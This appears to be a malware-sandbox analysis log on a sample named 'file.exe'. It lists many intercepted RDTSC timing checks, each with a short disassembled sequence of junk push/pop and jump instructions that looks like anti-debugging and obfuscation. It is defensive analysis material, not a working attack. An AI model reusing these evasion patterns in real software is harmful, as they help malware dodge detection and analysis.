Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72C47 second address: F72C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7251DA7E5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F731F0 second address: F731FF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD724C6C5D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push esi 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F734B7 second address: F734BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F734BC second address: F734D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD724C6C5E4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73781 second address: F73793 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73793 second address: F737CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD724C6C5E8h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD724C6C5E7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F737CD second address: F737D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7391D second address: F73989 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E5h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FD724C6C5E1h 0x00000010 jnc 00007FD724C6C5F2h 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 push edi 0x0000001a pop edi 0x0000001b jno 00007FD724C6C5D6h 0x00000021 jmp 00007FD724C6C5DFh 0x00000026 popad 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73C24 second address: F73C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73C28 second address: F73C34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FD724C6C5D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73DEA second address: F73E05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73E05 second address: F73E34 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD724C6C5DCh 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD724C6C5E9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F781E6 second address: F78210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007FD7251DA7D8h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD7251DA7E8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F78210 second address: F78214 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7837B second address: F78388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD7251DA7D6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F78388 second address: F7838E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7838E second address: F78392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F78392 second address: F78398 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F78BFC second address: F78C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7251DA7E1h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F78C18 second address: F78C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79057 second address: F79061 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD7251DA7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7962D second address: F79633 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79633 second address: F79637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77EB4 second address: F77EE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007FD724C6C5E5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F42AFC second address: F28B0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FD7251DA7D6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FD7251DA7D8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b jmp 00007FD7251DA7E8h 0x00000030 lea eax, dword ptr [ebp+12487867h] 0x00000036 or dword ptr [ebp+122D1D4Ah], ebx 0x0000003c and di, 7444h 0x00000041 nop 0x00000042 jnc 00007FD7251DA7DCh 0x00000048 push eax 0x00000049 jmp 00007FD7251DA7DBh 0x0000004e nop 0x0000004f or ch, FFFFFFAAh 0x00000052 call dword ptr [ebp+12454269h] 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007FD7251DA7DEh 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F431BC second address: F431CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F431CE second address: F431FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7251DA7E8h 0x00000009 popad 0x0000000a pop edx 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push eax 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD7251DA7DAh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43A81 second address: F43A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43E09 second address: F43E4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jbe 00007FD7251DA7D6h 0x0000000c jmp 00007FD7251DA7E6h 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 pushad 0x00000018 jmp 00007FD7251DA7E6h 0x0000001d push esi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43F3A second address: F43F60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD724C6C5DFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43F60 second address: F43F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43F64 second address: F43FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD724C6C5E2h 0x0000000b popad 0x0000000c nop 0x0000000d call 00007FD724C6C5E8h 0x00000012 pop edx 0x00000013 mov edx, dword ptr [ebp+122D1D27h] 0x00000019 lea eax, dword ptr [ebp+124878ABh] 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007FD724C6C5D8h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 0000001Dh 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 nop 0x0000003a push eax 0x0000003b push edx 0x0000003c ja 00007FD724C6C5EBh 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43FE6 second address: F4402E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD7251DA7E3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FD7251DA7E0h 0x00000010 nop 0x00000011 push esi 0x00000012 sub dword ptr [ebp+122D36B5h], ecx 0x00000018 pop ecx 0x00000019 lea eax, dword ptr [ebp+12487867h] 0x0000001f or dword ptr [ebp+122D3969h], esi 0x00000025 push eax 0x00000026 jbe 00007FD7251DA7E8h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4402E second address: F44032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F81F8E second address: F81F98 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD7251DA7D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F820ED second address: F820F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F820F4 second address: F820FB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F820FB second address: F8210E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FD724C6C5D6h 0x0000000d jl 00007FD724C6C5D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8210E second address: F82112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82541 second address: F82560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 jc 00007FD724C6C5EFh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD724C6C5E1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F826A8 second address: F826D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7251DA7E7h 0x00000009 pushad 0x0000000a popad 0x0000000b jg 00007FD7251DA7D6h 0x00000011 popad 0x00000012 popad 0x00000013 push ecx 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87054 second address: F8705A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8705A second address: F87060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8719C second address: F871A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F871A2 second address: F871B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FD7251DA7DCh 0x0000000b jg 00007FD7251DA7D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F875EE second address: F875FB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD724C6C5D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87764 second address: F8777C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 jmp 00007FD7251DA7DCh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8777C second address: F87789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87789 second address: F8778D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8778D second address: F877A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86DA0 second address: F86DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87AAA second address: F87AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8ACE9 second address: F8ACED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8ACED second address: F8ACF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D345 second address: F8D35A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD7251DA7DFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CDBD second address: F8CDE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD724C6C5DBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CDE5 second address: F8CE02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7E9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CFC5 second address: F8CFCF instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD724C6C5D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CFCF second address: F8CFDF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD7251DA7DAh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CFDF second address: F8CFE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CFE3 second address: F8D01D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7E4h 0x00000007 jbe 00007FD7251DA7D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007FD7251DA7E3h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D01D second address: F8D032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD724C6C5D6h 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e jne 00007FD724C6C5D6h 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FB25 second address: F8FB2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FB2D second address: F8FB31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FCBB second address: F8FCC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94F45 second address: F94F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94F4B second address: F94F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94F4F second address: F94F53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9539A second address: F953A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F953A0 second address: F953C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E0h 0x00000007 js 00007FD724C6C5D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD724C6C5DAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F989C6 second address: F989D0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD7251DA7D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F989D0 second address: F989DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FD724C6C5DCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F989DE second address: F989E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F989E2 second address: F989E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F989E9 second address: F989EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF30A second address: EFF325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FD724C6C5E3h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF325 second address: EFF329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF329 second address: EFF340 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF340 second address: EFF346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F982B7 second address: F982C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FD724C6C5DEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F982C5 second address: F982CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98411 second address: F98416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98416 second address: F9841C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9841C second address: F98422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98422 second address: F98426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98426 second address: F98442 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FD724C6C5DBh 0x0000000e jnc 00007FD724C6C5D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98703 second address: F98707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C910 second address: F9C916 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CA69 second address: F9CA6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CC17 second address: F9CC30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD724C6C5E4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CC30 second address: F9CC3A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD7251DA7DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D19A second address: F9D1B3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD724C6C5D6h 0x00000008 jmp 00007FD724C6C5DBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DD72 second address: F9DD77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3E35 second address: FA3E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4365 second address: FA436B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA436B second address: FA436F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA436F second address: FA4373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4624 second address: FA4643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007FD724C6C5DDh 0x0000000c pushad 0x0000000d jnc 00007FD724C6C5D6h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
